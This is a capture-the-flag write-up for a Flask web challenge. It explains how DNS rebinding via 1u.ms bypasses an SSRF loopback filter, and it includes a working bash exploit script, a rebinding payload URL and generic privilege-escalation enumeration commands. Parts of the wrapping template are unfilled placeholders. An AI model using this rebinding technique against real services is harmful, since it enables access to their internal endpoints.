Simple food notifications
Simple food notifications
Platform: GPN CTF | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2024-05-31 | Status: Solved Techniques: dns_rebinding_toctou, ip_blocklist_bypass, ssrf_localhost_bypass, time_of_check_time_of_use, urllib3_retry_resolution_desync
Summary
Task: Flask food-ordering app with an SSRF sink that validates the resolved IP with ipaddress.is_global before urllib3 fetches the URL; flag served at /vip-meal only to remote_addr 127.0.0.1. Solution: DNS rebinding TOCTOU via 1u.ms — host resolves to public 8.8.8.8 during the is_global check (passes), then urllib3's connect-timeout-and-retry triggers a fresh resolution after the dnsmasq 2s cache expires, rebinding to 127.0.0.1 and hitting the loopback-only VIP endpoint.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
gpn24| ID:20240531_gpn24_simple_food_notifications - Tags: flask, ssrf, toctou, dns_rebinding, internal_service, is_global_bypass, urllib3, dnsmasq, loopback
- Indicators: separate DNS resolution for IP validation vs HTTP request, ipaddress.is_global blocklist on getaddrinfo result, urllib3.request re-resolves host independently on retry, dnsmasq min-cache-ttl forces short DNS cache, vip endpoint gated only by remote_addr == 127.0.0.1
- Source:
20240531_gpn24_simple_food_notifications.md
Foothold
Vulnerability / Misconfiguration
- Dns_rebinding_toctou
- Ip_blocklist_bypass
- Ssrf_localhost_bypass
- Time_of_check_time_of_use
- Urllib3_retry_resolution_desync
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- dns_rebinding_toctou
- ip_blocklist_bypass
- ssrf_localhost_bypass
- time_of_check_time_of_use
- urllib3_retry_resolution_desync
- Tags: flask, ssrf, toctou, dns_rebinding, internal_service, is_global_bypass, urllib3, dnsmasq, loopback
Original Writeup
<details><summary>Click to expand original content</summary>Simple food notifications — GPN CTF 2024 (gpn24)
Description
We are a new high tech startup in the food industry. In other words we are a new restaurant. Our last system was too complex, we made it simpler for you.
A Flask app handout (tar.gz) with full source was provided. The title/theme
("simpler") foreshadows the flag: why make it complex when you can make it
simple. The goal is to coerce the server into requesting an internal,
loopback-only endpoint that returns the flag.
Analysis
The app is a small restaurant ordering system. Key routes and logic from
app/app.py:
- The
FLAGis read from/flag. /vip-mealreturns the flag only ifrequest.remote_addr == "127.0.0.1", otherwise401 "You are not dressed appropriate to see even vip meals."So the server itself must requesthttp://127.0.0.1/vip-meal(classic SSRF to loopback)./order(POST, form paramurl) is the SSRF sink. Globally rate-limited to one request per 60s. It spawns a background threadcreate_meal(id, url)./notification/<id>(GET) returns JSON{id, message, status}— this is how the attacker reads back the SSRF response body (and thus the flag).
create_meal(id, url) flow:
time.sleep(secrets.randbelow(15-5)+5)— random 5–15s "let him cook".- CHECK (DNS resolution #1):
addresses = socket.getaddrinfo(urllib3.util.parse_url(url).host, 80). - For each resolved address:
if not ipaddress.ip_address(addr).is_global: -> REJECTED. This blocks every private/loopback/link-local IP. Confirmed:127.0.0.1,0.0.0.0,169.254.169.254,10/192.168,::1,::ffff:127.0.0.1all haveis_global == False;8.8.8.8/1.2.3.4areis_global == True. - USE (DNS resolution #2):
r = urllib3.request('GET', url, redirect=False, timeout=urllib3.Timeout(30)). urllib3 re-resolves the host independently when it opens the connection. - Stores
r.datainnotifications[id]["message"], statusDONE.
Environment (entrypoint.sh, dnsmasq.conf):
entrypoint.shrunsdnsmasq --user=root &, sets/etc/resolv.conftonameserver 127.0.0.1, then runs Flask on port 80.dnsmasq.conf:min-cache-ttl=2,server=8.8.8.8,listen-address=127.0.0.1,no-resolv. Themin-cache-ttl=2is the deliberate challenge knob — it forces every DNS answer (even TTL=0) to be cached for 2 seconds.requirements.txt:flask==3.1.3,requests==2.34.2,urllib3==2.7.0.
Vulnerability class
SSRF via DNS rebinding (TOCTOU — Time-Of-Check / Time-Of-Use). The
is_global blocklist is checked against the result of DNS resolution #1
(getaddrinfo), but urllib3 performs its own independent DNS resolution #2
when it opens the connection. If the hostname resolves to a public IP during the
check and to 127.0.0.1 during the use, the loopback filter is bypassed and the
request hits 127.0.0.1/vip-meal with remote_addr == 127.0.0.1.
Why naive payloads fail
- Direct loopback/private payloads (
127.0.0.1,0.0.0.0,::1,::ffff:127.0.0.1,169.254.169.254, decimal/octal/hex variants) all fail theis_globalcheck (all non-global). - urllib3 URL-parser confusion tricks (userinfo
@, backslash\@,#@) do not desync here: BOTH the check (urllib3.util.parse_url(url).host) and the actual request use the same urllib3 parser, so they always agree on the host. Verified empirically — parser confusion is a dead end here. DNS-level rebinding is the real path.
Solution
The dnsmasq 2-second cache obstacle (the crux)
The check (getaddrinfo) and the use (urllib3) run back-to-back with a
sub-millisecond gap. With min-cache-ttl=2, the second resolution normally hits
the dnsmasq cache and returns the same IP as the first → both see the public
IP → no rebind. Verified: back-to-back getaddrinfo inside the container both
returned 8.8.8.8.
Winning insight: the real gap between check and use is created by urllib3's
connect-timeout + retry, not by the code. When urllib3 first resolves to the
public decoy IP (from cache) and tries to connect to PUBLIC_IP:80, the
connection hangs (port 80 closed/filtered on the decoy, ~connect-timeout).
When the connect fails, urllib3 retries, performing a NEW getaddrinfo. By
then (>2s later) the dnsmasq 2s cache has expired and the rebind window is
active, so the retry resolves to 127.0.0.1 and connects to loopback.
Instrumented timeline (getaddrinfo hook inside the container):
[res t=0.10] -> ['8.8.8.8', '8.8.8.8', '8.8.8.8'] # CHECK passes is_global
[res t=0.10] -> ['8.8.8.8'] # urllib3 try1 (cache) -> connects 8.8.8.8:80, hangs
[res t=30.23] -> ['127.0.0.1'] # urllib3 RETRY after timeout -> rebound to loopback
USE status=200 FLAG retrieved
DNS rebinding service: 1u.ms
1u.ms (free, zero-config, by @neexemil / Emil Lerner) provides controllable
rebinding via hostname syntax:
make-<IP1>-rebind-<IP2>-rr.1u.msresolves to IP1 on the first query, then to IP2 within a timeout window (default 5s).- Window tunable via
rebindfor<interval>(e.g.rebindfor5m). - A unique prefix yields a fresh independent window per attempt:
<prefix>-make-...-rr.1u.ms. - Logic: "if no requests in last
<interval>→ IP1, else IP2." Confirmed withdig.
Final payload host:
<unique>-make-8.8.8.8-rebindfor5m-127.0.0.1-rr.1u.ms
- IP1 =
8.8.8.8(is_global == True→ passes filter; its:80hangs from the container, giving the timeout/retry gap). - IP2 =
127.0.0.1(loopback → hits/vip-mealas127.0.0.1). rebindfor5m= 5-minute window, chosen to FAR exceed the total attack time (~30s, one urllib3 connect-timeout cycle). This turns a probabilistic race into a deterministic, first-try exploit.
Important lesson: a too-short window like rebindfor30s FAILED in testing
because the urllib3 connect-timeout consumed the whole window before the retry.
Always size the rebind window to comfortably exceed the full attack duration.
Full payload URL:
http://<unique>-make-8.8.8.8-rebindfor5m-127.0.0.1-rr.1u.ms/vip-meal
Exploitation steps
- POST
/orderwithurl=http://<unique>-make-8.8.8.8-rebindfor5m-127.0.0.1-rr.1u.ms/vip-meal. Response gives a notification id (10 lowercase-alnum chars). - Poll GET
/notification/<id>. Status:RECEIVED→COOKING(during the 5–15s sleep + urllib3 timeout/retry, ~30–40s total) →DONE. - When
DONE, themessagefield holds the rendered/vip-mealpage: "Our chef cooked the beast meal for our vip customers, here is the flag GPNCTF{...} with some caviar on top." - Mind the global 60s rate-limit on
/orderbetween attempts.
Working exploit (run.sh)
#!/bin/bash
# Usage: ./run.sh http://REMOTE_HOST:PORT
set -e
BASE="${1:?usage: ./run.sh http://host:port}"
PREFIX="sfn$RANDOM$RANDOM"
REBIND="${PREFIX}-make-8.8.8.8-rebindfor5m-127.0.0.1-rr.1u.ms"
URL="http://${REBIND}/vip-meal"
RESP=$(curl -s -X POST "$BASE/order" --data-urlencode "url=$URL")
NID=$(echo "$RESP" | grep -o 'notification/[a-z0-9]*' | head -1 | cut -d/ -f2)
for i in $(seq 1 60); do
J=$(curl -s "$BASE/notification/$NID")
ST=$(echo "$J" | sed -n 's/.*"status": *"\([^"]*\)".*/\1/p')
case "$ST" in
DONE) echo "$J" | grep -o 'GPNCTF{[^}]*}'; exit 0;;
FAILED|REJECTED) echo "$J"; exit 1;;
esac
sleep 3
done
Final run against the live target (verified)
Target: https://wood-fired-pizza-alongside-julienned-gremolata-sm1n.gpn24.ctf.kitctf.de
/vip-mealexternal = 401 (as expected).- order id
pyzjcs00x0, polledCOOKING... at poll 13 →DONE. - Flag retrieved on first attempt.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR